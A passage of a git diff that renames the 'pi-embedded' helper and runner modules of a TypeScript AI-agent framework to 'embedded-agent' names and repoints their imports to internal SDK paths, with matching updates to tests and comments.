"./embedded-agent-helpers/sanitize-user-facing-text.js"; +export { isGoogleModelApi, sanitizeGoogleTurnOrdering } from "./embedded-agent-helpers/google.js"; export { downgradeOpenAIFunctionCallReasoningPairs, downgradeOpenAIReasoningBlocks, normalizeOpenAIResponsesToolCallIds, -} from "./pi-embedded-helpers/openai.js"; +} from "./embedded-agent-helpers/openai.js"; export { isEmptyAssistantMessageContent, sanitizeSessionMessagesImages, -} from "./pi-embedded-helpers/images.js"; +} from "./embedded-agent-helpers/images.js"; export { isMessagingToolDuplicate, isMessagingToolDuplicateNormalized, normalizeTextForComparison, -} from "./pi-embedded-helpers/messaging-dedupe.js"; +} from "./embedded-agent-helpers/messaging-dedupe.js"; -export { pickFallbackThinkingLevel } from "./pi-embedded-helpers/thinking.js"; +export { pickFallbackThinkingLevel } from "./embedded-agent-helpers/thinking.js"; export { mergeConsecutiveUserTurns, validateAnthropicTurns, validateGeminiTurns, -} from "./pi-embedded-helpers/turns.js"; -export type { EmbeddedContextFile, FailoverReason } from "./pi-embedded-helpers/types.js"; +} from "./embedded-agent-helpers/turns.js"; +export type { EmbeddedContextFile, FailoverReason } from "./embedded-agent-helpers/types.js"; export type { ToolCallIdMode } from "./tool-call-id.js"; export { isValidCloudCodeAssistToolId, sanitizeToolCallId } from "./tool-call-id.js"; diff --git a/src/agents/pi-embedded-helpers.validate-turns.test.ts b/src/agents/embedded-agent-helpers.validate-turns.test.ts similarity index 99% rename from src/agents/pi-embedded-helpers.validate-turns.test.ts rename to src/agents/embedded-agent-helpers.validate-turns.test.ts index 7b0c45c7ba1..683916f8526 100644 --- a/src/agents/pi-embedded-helpers.validate-turns.test.ts +++ b/src/agents/embedded-agent-helpers.validate-turns.test.ts @@ -1,10 +1,10 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; import { describe, expect, it } from "vitest"; import { mergeConsecutiveUserTurns, validateAnthropicTurns, validateGeminiTurns, -} from "./pi-embedded-helpers.js"; +} from "./embedded-agent-helpers.js"; function asMessages(messages: unknown[]): AgentMessage[] { return messages as AgentMessage[]; diff --git a/src/agents/pi-embedded-helpers/bootstrap.test.ts b/src/agents/embedded-agent-helpers/bootstrap.test.ts similarity index 100% rename from src/agents/pi-embedded-helpers/bootstrap.test.ts rename to src/agents/embedded-agent-helpers/bootstrap.test.ts diff --git a/src/agents/pi-embedded-helpers/bootstrap.ts b/src/agents/embedded-agent-helpers/bootstrap.ts similarity index 99% rename from src/agents/pi-embedded-helpers/bootstrap.ts rename to src/agents/embedded-agent-helpers/bootstrap.ts index 80f24537b34..d0c28f28a0e 100644 --- a/src/agents/pi-embedded-helpers/bootstrap.ts +++ b/src/agents/embedded-agent-helpers/bootstrap.ts @@ -1,11 +1,11 @@ import fs from "node:fs/promises"; import path from "node:path"; -import type { AgentMessage } from "@earendil-works/pi-agent-core"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { sanitizeGoogleAssistantFirstOrdering } from "../../shared/google-turn-ordering.js"; import { normalizeOptionalString } from "../../shared/string-coerce.js"; import { truncateUtf16Safe } from "../../utils.js"; import { resolveAgentConfig } from "../agent-scope.js"; +import type { AgentMessage } from "../runtime/index.js"; import type { WorkspaceBootstrapFile } from "../workspace.js"; import type { EmbeddedContextFile } from "./types.js"; diff --git a/src/agents/pi-embedded-helpers/errors.test.ts b/src/agents/embedded-agent-helpers/errors.test.ts similarity index 98% rename from src/agents/pi-embedded-helpers/errors.test.ts rename to src/agents/embedded-agent-helpers/errors.test.ts index 86ac6faa98c..9cb35eeec2c 100644 --- a/src/agents/pi-embedded-helpers/errors.test.ts +++ b/src/agents/embedded-agent-helpers/errors.test.ts @@ -1,4 +1,4 @@ -import type { AssistantMessage } from "@earendil-works/pi-ai"; +import type { AssistantMessage } from "openclaw/plugin-sdk/llm"; import { beforeEach, describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { MALFORMED_STREAMING_FRAGMENT_ERROR_MESSAGE } from "../../shared/assistant-error-format.js"; diff --git a/src/agents/pi-embedded-helpers/errors.ts b/src/agents/embedded-agent-helpers/errors.ts similarity index 99% rename from src/agents/pi-embedded-helpers/errors.ts rename to src/agents/embedded-agent-helpers/errors.ts index 4408881317e..43dbcd47974 100644 --- a/src/agents/pi-embedded-helpers/errors.ts +++ b/src/agents/embedded-agent-helpers/errors.ts @@ -1,5 +1,5 @@ -import type { AssistantMessage } from "@earendil-works/pi-ai"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; +import type { AssistantMessage } from "../../llm/types.js"; import { createSubsystemLogger } from "../../logging/subsystem.js"; import { extractLeadingHttpStatus, @@ -131,7 +131,7 @@ export function isContextOverflowError(errorMessage?: string): boolean { (lower.includes("input length") && lower.includes("exceed") && lower.includes("context")) || (lower.includes("413") && lower.includes("too large")) || // Anthropic API and OpenAI-compatible providers (e.g. ZhipuAI/GLM) return this stop reason - // when the context window is exceeded. pi-ai surfaces it as "Unhandled stop reason: model_context_window_exceeded". + // when the context window is exceeded. shared model runtime surfaces it as "Unhandled stop reason: model_context_window_exceeded". lower.includes("context_window_exceeded") || // Chinese proxy error messages for context overflow errorMessage.includes("上下文过长") || @@ -830,7 +830,7 @@ function isBilling429MessageForProvider(raw: string, provider: string | undefine return hasProviderBilling429Override(provider) || !isAmbiguousGeneric429BalanceMessage(raw); } -// pi-ai providers throw `Error("An unknown error occurred")` provider-agnostically +// shared model runtime providers throw `Error("An unknown error occurred")` provider-agnostically // (anthropic, google, vertex, openai-completions, mistral, bedrock, etc.) when a // stream ends with stopReason === "aborted" | "error" without specific info. Treat // it as a transient transport failure so the configured fallback chain rotates diff --git a/src/agents/pi-embedded-helpers/failover-matches.test.ts b/src/agents/embedded-agent-helpers/failover-matches.test.ts similarity index 100% rename from src/agents/pi-embedded-helpers/failover-matches.test.ts rename to src/agents/embedded-agent-helpers/failover-matches.test.ts diff --git a/src/agents/pi-embedded-helpers/failover-matches.ts b/src/agents/embedded-agent-helpers/failover-matches.ts similarity index 99% rename from src/agents/pi-embedded-helpers/failover-matches.ts rename to src/agents/embedded-agent-helpers/failover-matches.ts index e2a1a618989..92d7a4c7446 100644 --- a/src/agents/pi-embedded-helpers/failover-matches.ts +++ b/src/agents/embedded-agent-helpers/failover-matches.ts @@ -171,7 +171,7 @@ const ERROR_PATTERNS = { /^terminated$/i, /^stream_read_error$/i, /\bund_err_(?:socket|connect|headers?|body|req_content_length_mismatch|aborted|closed)\b/i, - // pi-ai's openai-codex provider surfaces `Request failed` when the HTTP + // shared model runtime's openai-codex provider surfaces `Request failed` when the HTTP // response has no body and no status text (typical of Cloudflare 502s // from the upstream Codex service). Treat it as a transport failure so // the configured fallback chain runs instead of surfacing the error. diff --git a/src/agents/pi-embedded-helpers/google.ts b/src/agents/embedded-agent-helpers/google.ts similarity index 100% rename from src/agents/pi-embedded-helpers/google.ts rename to src/agents/embedded-agent-helpers/google.ts diff --git a/src/agents/pi-embedded-helpers/images.ts b/src/agents/embedded-agent-helpers/images.ts similarity index 98% rename from src/agents/pi-embedded-helpers/images.ts rename to src/agents/embedded-agent-helpers/images.ts index d74541a1ab2..b614bd52bfe 100644 --- a/src/agents/pi-embedded-helpers/images.ts +++ b/src/agents/embedded-agent-helpers/images.ts @@ -1,5 +1,5 @@ -import type { AgentMessage, AgentToolResult } from "@earendil-works/pi-agent-core"; import type { ImageSanitizationLimits } from "../image-sanitization.js"; +import type { AgentMessage, AgentToolResult } from "../runtime/index.js"; import type { ToolCallIdMode } from "../tool-call-id.js"; import { sanitizeToolCallIdsForCloudCodeAssist } from "../tool-call-id.js"; import { sanitizeContentBlocksImages } from "../tool-images.js"; diff --git a/src/agents/pi-embedded-helpers/messaging-dedupe.ts b/src/agents/embedded-agent-helpers/messaging-dedupe.ts similarity index 100% rename from src/agents/pi-embedded-helpers/messaging-dedupe.ts rename to src/agents/embedded-agent-helpers/messaging-dedupe.ts diff --git a/src/agents/pi-embedded-helpers/openai.ts b/src/agents/embedded-agent-helpers/openai.ts similarity index 99% rename from src/agents/pi-embedded-helpers/openai.ts rename to src/agents/embedded-agent-helpers/openai.ts index ba2367a9e69..cac363dbb65 100644 --- a/src/agents/pi-embedded-helpers/openai.ts +++ b/src/agents/embedded-agent-helpers/openai.ts @@ -1,5 +1,5 @@ import { createHash } from "node:crypto"; -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "../runtime/index.js"; type OpenAIThinkingBlock = { type?: unknown; @@ -283,7 +283,7 @@ export function normalizeOpenAIResponsesToolCallIds(messages: AgentMessage[]): A * matching `reasoning` item is absent in the same assistant turn. * * When that pairing is missing, strip the `|fc_*` suffix from tool call ids so - * pi-ai omits `function_call.id` on replay. + * shared model runtime omits `function_call.id` on replay. */ export function downgradeOpenAIFunctionCallReasoningPairs( messages: AgentMessage[], diff --git a/src/agents/pi-embedded-helpers/provider-error-patterns.test.ts b/src/agents/embedded-agent-helpers/provider-error-patterns.test.ts similarity index 100% rename from src/agents/pi-embedded-helpers/provider-error-patterns.test.ts rename to src/agents/embedded-agent-helpers/provider-error-patterns.test.ts diff --git a/src/agents/pi-embedded-helpers/provider-error-patterns.ts b/src/agents/embedded-agent-helpers/provider-error-patterns.ts similarity index 100% rename from src/agents/pi-embedded-helpers/provider-error-patterns.ts rename to src/agents/embedded-agent-helpers/provider-error-patterns.ts diff --git a/src/agents/pi-embedded-helpers/sanitize-user-facing-text.ts b/src/agents/embedded-agent-helpers/sanitize-user-facing-text.ts similarity index 100% rename from src/agents/pi-embedded-helpers/sanitize-user-facing-text.ts rename to src/agents/embedded-agent-helpers/sanitize-user-facing-text.ts diff --git a/src/agents/pi-embedded-helpers/thinking.test.ts b/src/agents/embedded-agent-helpers/thinking.test.ts similarity index 100% rename from src/agents/pi-embedded-helpers/thinking.test.ts rename to src/agents/embedded-agent-helpers/thinking.test.ts diff --git a/src/agents/pi-embedded-helpers/thinking.ts b/src/agents/embedded-agent-helpers/thinking.ts similarity index 100% rename from src/agents/pi-embedded-helpers/thinking.ts rename to src/agents/embedded-agent-helpers/thinking.ts diff --git a/src/agents/pi-embedded-helpers/turns.ts b/src/agents/embedded-agent-helpers/turns.ts similarity index 99% rename from src/agents/pi-embedded-helpers/turns.ts rename to src/agents/embedded-agent-helpers/turns.ts index 99c7a00e970..dca2215b2c1 100644 --- a/src/agents/pi-embedded-helpers/turns.ts +++ b/src/agents/embedded-agent-helpers/turns.ts @@ -1,5 +1,5 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; import { normalizeOptionalString } from "../../shared/string-coerce.js"; +import type { AgentMessage } from "../runtime/index.js"; import { extractToolCallsFromAssistant, extractToolResultId } from "../tool-call-id.js"; type AnthropicContentBlock = { diff --git a/src/agents/pi-embedded-helpers/types.ts b/src/agents/embedded-agent-helpers/types.ts similarity index 100% rename from src/agents/pi-embedded-helpers/types.ts rename to src/agents/embedded-agent-helpers/types.ts diff --git a/src/agents/embedded-pi-lsp.ts b/src/agents/embedded-agent-lsp.ts similarity index 85% rename from src/agents/embedded-pi-lsp.ts rename to src/agents/embedded-agent-lsp.ts index fcdfb543f0f..cdff49b046d 100644 --- a/src/agents/embedded-pi-lsp.ts +++ b/src/agents/embedded-agent-lsp.ts @@ -2,15 +2,15 @@ import type { OpenClawConfig } from "../config/types.openclaw.js"; import type { BundleLspServerConfig } from "../plugins/bundle-lsp.js"; import { loadEnabledBundleLspConfig } from "../plugins/bundle-lsp.js"; -type EmbeddedPiLspConfig = { +type EmbeddedAgentLspConfig = { lspServers: Record; diagnostics: Array<{ pluginId: string; message: string }>; }; -export function loadEmbeddedPiLspConfig(params: { +export function loadEmbeddedAgentLspConfig(params: { workspaceDir: string; cfg?: OpenClawConfig; -}): EmbeddedPiLspConfig { +}): EmbeddedAgentLspConfig { const bundleLsp = loadEnabledBundleLspConfig({ workspaceDir: params.workspaceDir, cfg: params.cfg, diff --git a/src/agents/embedded-pi-mcp.ts b/src/agents/embedded-agent-mcp.ts similarity index 83% rename from src/agents/embedded-pi-mcp.ts rename to src/agents/embedded-agent-mcp.ts index 9e34104a9b8..658f9f104aa 100644 --- a/src/agents/embedded-pi-mcp.ts +++ b/src/agents/embedded-agent-mcp.ts @@ -2,15 +2,15 @@ import type { OpenClawConfig } from "../config/types.openclaw.js"; import type { BundleMcpDiagnostic, BundleMcpServerConfig } from "../plugins/bundle-mcp.js"; import { loadMergedBundleMcpConfig } from "./bundle-mcp-config.js"; -type EmbeddedPiMcpConfig = { +type EmbeddedAgentMcpConfig = { mcpServers: Record; diagnostics: BundleMcpDiagnostic[]; }; -export function loadEmbeddedPiMcpConfig(params: { +export function loadEmbeddedAgentMcpConfig(params: { workspaceDir: string; cfg?: OpenClawConfig; -}): EmbeddedPiMcpConfig { +}): EmbeddedAgentMcpConfig { const bundleMcp = loadMergedBundleMcpConfig({ workspaceDir: params.workspaceDir, cfg: params.cfg, diff --git a/src/agents/pi-embedded-messaging.ts b/src/agents/embedded-agent-messaging.ts similarity index 100% rename from src/agents/pi-embedded-messaging.ts rename to src/agents/embedded-agent-messaging.ts diff --git a/src/agents/pi-embedded-messaging.types.ts b/src/agents/embedded-agent-messaging.types.ts similarity index 100% rename from src/agents/pi-embedded-messaging.types.ts rename to src/agents/embedded-agent-messaging.types.ts diff --git a/src/agents/pi-embedded-payloads.ts b/src/agents/embedded-agent-payloads.ts similarity index 100% rename from src/agents/pi-embedded-payloads.ts rename to src/agents/embedded-agent-payloads.ts diff --git a/src/agents/pi-embedded-runner-extraparams-moonshot.test.ts b/src/agents/embedded-agent-runner-extraparams-moonshot.test.ts similarity index 95% rename from src/agents/pi-embedded-runner-extraparams-moonshot.test.ts rename to src/agents/embedded-agent-runner-extraparams-moonshot.test.ts index 283a9c9536e..4bab467202a 100644 --- a/src/agents/pi-embedded-runner-extraparams-moonshot.test.ts +++ b/src/agents/embedded-agent-runner-extraparams-moonshot.test.ts @@ -1,11 +1,11 @@ import { afterEach, beforeEach, describe, expect, it } from "vitest"; -import { runExtraParamsPayloadCase } from "./pi-embedded-runner-extraparams.test-support.js"; -import { testing as extraParamsTesting } from "./pi-embedded-runner/extra-params.js"; import { createMoonshotThinkingWrapper, resolveMoonshotThinkingKeep, resolveMoonshotThinkingType, -} from "./pi-embedded-runner/moonshot-stream-wrappers.js"; +} from "../llm/providers/stream-wrappers/moonshot.js"; +import { runExtraParamsPayloadCase } from "./embedded-agent-runner-extraparams.test-support.js"; +import { testing as extraParamsTesting } from "./embedded-agent-runner/extra-params.js"; beforeEach(() => { extraParamsTesting.setProviderRuntimeDepsForTest({ diff --git a/src/agents/pi-embedded-runner-extraparams-openrouter.test.ts b/src/agents/embedded-agent-runner-extraparams-openrouter.test.ts similarity index 95% rename from src/agents/pi-embedded-runner-extraparams-openrouter.test.ts rename to src/agents/embedded-agent-runner-extraparams-openrouter.test.ts index 43234b3f7f4..8507c48d2f5 100644 --- a/src/agents/pi-embedded-runner-extraparams-openrouter.test.ts +++ b/src/agents/embedded-agent-runner-extraparams-openrouter.test.ts @@ -1,15 +1,15 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; import { afterEach, beforeEach, describe, expect, it } from "vitest"; -import { runExtraParamsPayloadCase } from "./pi-embedded-runner-extraparams.test-support.js"; -import { - applyExtraParamsToAgent, - testing as extraParamsTesting, -} from "./pi-embedded-runner/extra-params.js"; import { createOpenRouterSystemCacheWrapper, createOpenRouterWrapper, isProxyReasoningUnsupported, -} from "./pi-embedded-runner/proxy-stream-wrappers.js"; +} from "../llm/providers/stream-wrappers/proxy.js"; +import { runExtraParamsPayloadCase } from "./embedded-agent-runner-extraparams.test-support.js"; +import { + applyExtraParamsToAgent, + testing as extraParamsTesting, +} from "./embedded-agent-runner/extra-params.js"; beforeEach(() => { extraParamsTesting.setProviderRuntimeDepsForTest({ diff --git a/src/agents/pi-embedded-runner-extraparams-resolve.test.ts b/src/agents/embedded-agent-runner-extraparams-resolve.test.ts similarity index 98% rename from src/agents/pi-embedded-runner-extraparams-resolve.test.ts rename to src/agents/embedded-agent-runner-extraparams-resolve.test.ts index 7bd2c6b4561..52976beb9cb 100644 --- a/src/agents/pi-embedded-runner-extraparams-resolve.test.ts +++ b/src/agents/embedded-agent-runner-extraparams-resolve.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from "vitest"; -import { resolveExtraParams } from "./pi-embedded-runner/extra-params.js"; +import { resolveExtraParams } from "./embedded-agent-runner/extra-params.js"; describe("resolveExtraParams", () => { it("returns undefined with no model config", () => { diff --git a/src/agents/pi-embedded-runner-extraparams.live.test.ts b/src/agents/embedded-agent-runner-extraparams.live.test.ts similarity index 87% rename from src/agents/pi-embedded-runner-extraparams.live.test.ts rename to src/agents/embedded-agent-runner-extraparams.live.test.ts index 0e466b470f3..55f5ba460e8 100644 --- a/src/agents/pi-embedded-runner-extraparams.live.test.ts +++ b/src/agents/embedded-agent-runner-extraparams.live.test.ts @@ -1,10 +1,10 @@ -import type { Model } from "@earendil-works/pi-ai"; -import { getModel, streamSimple } from "@earendil-works/pi-ai"; +import type { Model } from "openclaw/plugin-sdk/llm"; +import { streamSimple } from "openclaw/plugin-sdk/llm"; import { describe, expect, it } from "vitest"; import type { OpenClawConfig } from "../config/config.js"; +import { applyExtraParamsToAgent } from "./embedded-agent-runner.js"; import { isLiveTestEnabled } from "./live-test-helpers.js"; import { isLiveBillingDrift } from "./live-test-provider-drift.js"; -import { applyExtraParamsToAgent } from "./pi-embedded-runner.js"; const OPENAI_KEY = process.env.OPENAI_API_KEY ?? ""; const ANTHROPIC_KEY = process.env.ANTHROPIC_API_KEY ?? ""; @@ -14,9 +14,20 @@ const ANTHROPIC_LIVE = isLiveTestEnabled(["ANTHROPIC_LIVE_TEST"]); const describeLive = LIVE && OPENAI_KEY ? describe : describe.skip; const describeAnthropicLive = ANTHROPIC_LIVE && ANTHROPIC_KEY ? describe : describe.skip; -describeLive("pi embedded extra params (live)", () => { +describeLive("embedded agent extra params (live)", () => { it("applies config max_completion_tokens alias to openai streamFn", async () => { - const model = getModel("openai", "gpt-5.4") as unknown as Model<"openai-completions">; + const model: Model<"openai-responses"> = { + id: "gpt-5.4", + name: "GPT-5.4", + api: "openai-responses", + provider: "openai", + baseUrl: "https://api.openai.com/v1", + reasoning: true, + input: ["text", "image"], + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + contextWindow: 400_000, + maxTokens: 128_000, + }; const cfg: OpenClawConfig = { agents: { @@ -102,7 +113,7 @@ describeLive("pi embedded extra params (live)", () => { }, 45_000); }); -describeAnthropicLive("pi embedded extra params (anthropic live)", () => { +describeAnthropicLive("embedded agent extra params (anthropic live)", () => { it("verifies Anthropic fast-mode service_tier semantics against the live API", async () => { const headers = { "content-type": "application/json", diff --git a/src/agents/pi-embedded-runner-extraparams.test-support.ts b/src/agents/embedded-agent-runner-extraparams.test-support.ts similarity index 82% rename from src/agents/pi-embedded-runner-extraparams.test-support.ts rename to src/agents/embedded-agent-runner-extraparams.test-support.ts index 863e6c75df2..9faeedfa940 100644 --- a/src/agents/pi-embedded-runner-extraparams.test-support.ts +++ b/src/agents/embedded-agent-runner-extraparams.test-support.ts @@ -1,6 +1,6 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import type { Context, Model } from "@earendil-works/pi-ai"; -import { applyExtraParamsToAgent } from "./pi-embedded-runner/extra-params.js"; +import type { Context, Model } from "../llm/types.js"; +import { applyExtraParamsToAgent } from "./embedded-agent-runner/extra-params.js"; +import type { StreamFn } from "./runtime/index.js"; export function runExtraParamsPayloadCase(params: { provider: string; diff --git a/src/agents/pi-embedded-runner-extraparams.test.ts b/src/agents/embedded-agent-runner-extraparams.test.ts similarity index 98% rename from src/agents/pi-embedded-runner-extraparams.test.ts rename to src/agents/embedded-agent-runner-extraparams.test.ts index 3024bc2d529..a385a515695 100644 --- a/src/agents/pi-embedded-runner-extraparams.test.ts +++ b/src/agents/embedded-agent-runner-extraparams.test.ts @@ -1,8 +1,8 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import type { Context, Model, SimpleStreamOptions } from "@earendil-works/pi-ai"; -import { createAssistantMessageEventStream } from "@earendil-works/pi-ai"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; +import type { Context, Model, SimpleStreamOptions } from "openclaw/plugin-sdk/llm"; +import { createAssistantMessageEventStream } from "openclaw/plugin-sdk/llm"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { testing as extraParamsTesting } from "./pi-embedded-runner/extra-params.js"; +import { testing as extraParamsTesting } from "./embedded-agent-runner/extra-params.js"; vi.mock("../plugins/provider-hook-runtime.js", () => ({ clearProviderRuntimePluginCacheForTest: vi.fn(), @@ -287,17 +287,10 @@ function createAnthropicFastModeWrapper(baseStreamFn: StreamFn | undefined, fast return createAnthropicServiceTierWrapper(baseStreamFn, fastMode ? "auto" : "standard_only"); } -import { isAnthropicBedrockModel } from "./pi-embedded-runner/anthropic-family-cache-semantics.js"; -import { createAnthropicToolPayloadCompatibilityWrapper } from "./pi-embedded-runner/anthropic-family-tool-payload-compat.js"; -import { - applyExtraParamsToAgent, - resolveAgentTransportOverride, - resolveExplicitSettingsTransport, - resolvePreparedExtraParams, -} from "./pi-embedded-runner/extra-params.js"; -import { createGoogleThinkingPayloadWrapper } from "./pi-embedded-runner/google-stream-wrappers.js"; -import { log } from "./pi-embedded-runner/logger.js"; -import { createMinimaxFastModeWrapper } from "./pi-embedded-runner/minimax-stream-wrappers.js"; +import { isAnthropicBedrockModel } from "../llm/providers/stream-wrappers/anthropic-family-cache-semantics.js"; +import { createAnthropicToolPayloadCompatibilityWrapper } from "../llm/providers/stream-wrappers/anthropic-family-tool-payload-compat.js"; +import { createGoogleThinkingPayloadWrapper } from "../llm/providers/stream-wrappers/google.js"; +import { createMinimaxFastModeWrapper } from "../llm/providers/stream-wrappers/minimax.js"; import { createCodexNativeWebSearchWrapper, createOpenAIAttributionHeadersWrapper, @@ -313,7 +306,14 @@ import { resolveOpenAIFastMode, resolveOpenAIServiceTier, resolveOpenAITextVerbosity, -} from "./pi-embedded-runner/openai-stream-wrappers.js"; +} from "../llm/providers/stream-wrappers/openai.js"; +import { + applyExtraParamsToAgent, + resolveAgentTransportOverride, + resolveExplicitSettingsTransport, + resolvePreparedExtraParams, +} from "./embedded-agent-runner/extra-params.js"; +import { log } from "./embedded-agent-runner/logger.js"; type WrapProviderStreamFnParams = Parameters< typeof import("../plugins/provider-hook-runtime.js").wrapProviderStreamFn @@ -2757,6 +2757,7 @@ describe("applyExtraParamsToAgent", () => { } as Model<"anthropic-messages">; const context: Context = { messages: [] }; + // Simulate agent runtime passing apiKey in options (API key, not OAuth token) void agent.streamFn?.(model, context, { apiKey: "sk-ant-api03-test", // pragma: allowlist secret headers: { "X-Custom": "1" }, @@ -2812,6 +2813,7 @@ describe("applyExtraParamsToAgent", () => { } as Model<"anthropic-messages">; const context: Context = { messages: [] }; + // Simulate agent runtime passing an OAuth token (sk-ant-oat-*) as apiKey void agent.streamFn?.(model, context, { apiKey: "sk-ant-oat01-test-oauth-token", // pragma: allowlist secret headers: { "X-Custom": "1" }, @@ -2819,6 +2821,7 @@ describe("applyExtraParamsToAgent", () => { expect(calls).toHaveLength(1); const betaHeader = calls[0]?.headers?.["anthropic-beta"] as string; + // Must include the OAuth-required betas so they aren't stripped by shared model runtime's mergeHeaders expect(betaHeader).toContain("oauth-2025-04-20"); expect(betaHeader).toContain("claude-code-20250219"); expect(betaHeader).not.toContain("context-1m-2025-08-07"); @@ -2839,7 +2842,7 @@ describe("applyExtraParamsToAgent", () => { }); // context1m no longer injects a beta header (GA); only the explicitly - // configured anthropicBeta entry should appear alongside pi-ai defaults. + // configured anthropicBeta entry should appear alongside shared runtime defaults. expect(headers).toEqual({ "anthropic-beta": "prompt-caching-2024-07-31,fine-grained-tool-streaming-2025-05-14,interleaved-thinking-2025-05-14,files-api-2025-04-14", @@ -3761,39 +3764,32 @@ describe("applyExtraParamsToAgent", () => { expect(payload).not.toHaveProperty("service_tier"); }); - it("warns and skips service_tier injection for invalid serviceTier values", () => { - const warnSpy = vi.spyOn(log, "warn").mockImplementation(() => undefined); - try { - const payload = runResponsesPayloadMutationCase({ - applyProvider: "openai", - applyModelId: "gpt-5.4", - cfg: { - agents: { - defaults: { - models: { - "openai/gpt-5.4": { - params: { - serviceTier: "invalid", - }, + it("skips service_tier injection for invalid serviceTier values", () => { + const payload = runResponsesPayloadMutationCase({ + applyProvider: "openai", + applyModelId: "gpt-5.4", + cfg: { + agents: { + defaults: { + models: { + "openai/gpt-5.4": { + params: { + serviceTier: "invalid", }, }, }, }, }, - model: { - api: "openai-responses", - provider: "openai", - id: "gpt-5.4", - baseUrl: "https://api.openai.com/v1", - } as unknown as Model<"openai-responses">, - }); + }, + model: { + api: "openai-responses", + provider: "openai", + id: "gpt-5.4", + baseUrl: "https://api.openai.com/v1", + } as unknown as Model<"openai-responses">, + }); - expect(payload).not.toHaveProperty("service_tier"); - expect(warnSpy).toHaveBeenCalledTimes(1); - expect(warnSpy).toHaveBeenCalledWith("ignoring invalid OpenAI service tier param: invalid"); - } finally { - warnSpy.mockRestore(); - } + expect(payload).not.toHaveProperty("service_tier"); }); it("does not warn for valid OpenAI serviceTier values", () => { diff --git a/src/agents/pi-embedded-runner.anthropic-tool-replay.live.test.ts b/src/agents/embedded-agent-runner.anthropic-tool-replay.live.test.ts similarity index 95% rename from src/agents/pi-embedded-runner.anthropic-tool-replay.live.test.ts rename to src/agents/embedded-agent-runner.anthropic-tool-replay.live.test.ts index dba81e94e95..d53fd975baf 100644 --- a/src/agents/pi-embedded-runner.anthropic-tool-replay.live.test.ts +++ b/src/agents/embedded-agent-runner.anthropic-tool-replay.live.test.ts @@ -1,13 +1,13 @@ -import type { Message, Model } from "@earendil-works/pi-ai"; +import type { Message, Model } from "openclaw/plugin-sdk/llm"; import { describe, expect, it, vi } from "vitest"; +import { wrapStreamFnSanitizeMalformedToolCalls } from "./embedded-agent-runner/run/attempt.tool-call-normalization.js"; +import { OMITTED_ASSISTANT_REASONING_TEXT } from "./embedded-agent-runner/thinking.js"; import { completeSimpleWithLiveTimeout, extractAssistantText, logLiveCache, } from "./live-cache-test-support.js"; import { isLiveTestEnabled } from "./live-test-helpers.js"; -import { wrapStreamFnSanitizeMalformedToolCalls } from "./pi-embedded-runner/run/attempt.tool-call-normalization.js"; -import { OMITTED_ASSISTANT_REASONING_TEXT } from "./pi-embedded-runner/thinking.js"; import { buildAssistantMessageWithZeroUsage } from "./stream-message-shared.js"; const ANTHROPIC_LIVE = isLiveTestEnabled(["ANTHROPIC_LIVE_TEST"]); @@ -52,7 +52,7 @@ function buildLiveAnthropicModel(): { }; } -describeLive("pi embedded anthropic replay sanitization (live)", () => { +describeLive("embedded agent anthropic replay sanitization (live)", () => { it( "accepts regular text-only assistant replay history", async () => { diff --git a/src/agents/pi-embedded-runner.buildembeddedsandboxinfo.test.ts b/src/agents/embedded-agent-runner.buildembeddedsandboxinfo.test.ts similarity index 96% rename from src/agents/pi-embedded-runner.buildembeddedsandboxinfo.test.ts rename to src/agents/embedded-agent-runner.buildembeddedsandboxinfo.test.ts index 4a43112e810..9d615b6ea93 100644 --- a/src/agents/pi-embedded-runner.buildembeddedsandboxinfo.test.ts +++ b/src/agents/embedded-agent-runner.buildembeddedsandboxinfo.test.ts @@ -1,6 +1,6 @@ import { describe, expect, it } from "vitest"; -import { buildEmbeddedSandboxInfo } from "./pi-embedded-runner.js"; -import { resolveEmbeddedFullAccessState } from "./pi-embedded-runner/sandbox-info.js"; +import { buildEmbeddedSandboxInfo } from "./embedded-agent-runner.js"; +import { resolveEmbeddedFullAccessState } from "./embedded-agent-runner/sandbox-info.js"; import type { SandboxContext } from "./sandbox.js"; function createSandboxContext(overrides?: Partial): SandboxContext { diff --git a/src/agents/pi-embedded-runner.cache.live.test.ts b/src/agents/embedded-agent-runner.cache.live.test.ts similarity index 99% rename from src/agents/pi-embedded-runner.cache.live.test.ts rename to src/agents/embedded-agent-runner.cache.live.test.ts index 55cb22637cc..0218fe246d7 100644 --- a/src/agents/pi-embedded-runner.cache.live.test.ts +++ b/src/agents/embedded-agent-runner.cache.live.test.ts @@ -1,10 +1,12 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import type { AssistantMessage, Message, Tool } from "@earendil-works/pi-ai"; +import type { AssistantMessage, Message, Tool } from "openclaw/plugin-sdk/llm"; import { Type } from "typebox"; import { afterAll, beforeAll, describe, expect, it } from "vitest"; import type { OpenClawConfig } from "../config/config.js"; +import { runEmbeddedAgent } from "./embedded-agent-runner.js"; +import { compactEmbeddedAgentSessionDirect } from "./embedded-agent-runner/compact.runtime.js"; import { buildAssistantHistoryTurn as buildTypedAssistantHistoryTurn, buildStableCachePrefix, @@ -16,8 +18,6 @@ import { resolveLiveDirectModel, withLiveCacheHeartbeat, } from "./live-cache-test-support.js"; -import { runEmbeddedPiAgent } from "./pi-embedded-runner.js"; -import { compactEmbeddedPiSessionDirect } from "./pi-embedded-runner/compact.runtime.js"; import { buildZeroUsage } from "./stream-message-shared.js"; const describeCacheLive = LIVE_CACHE_TEST_ENABLED ? describe : describe.skip; @@ -310,7 +310,7 @@ async function runEmbeddedCacheProbe(params: { const sessionPaths = buildRunnerSessionPaths(params.sessionId); await fs.mkdir(sessionPaths.workspaceDir, { recursive: true }); const result = await withLiveCacheHeartbeat( - runEmbeddedPiAgent({ + runEmbeddedAgent({ sessionId: params.sessionId, sessionKey: 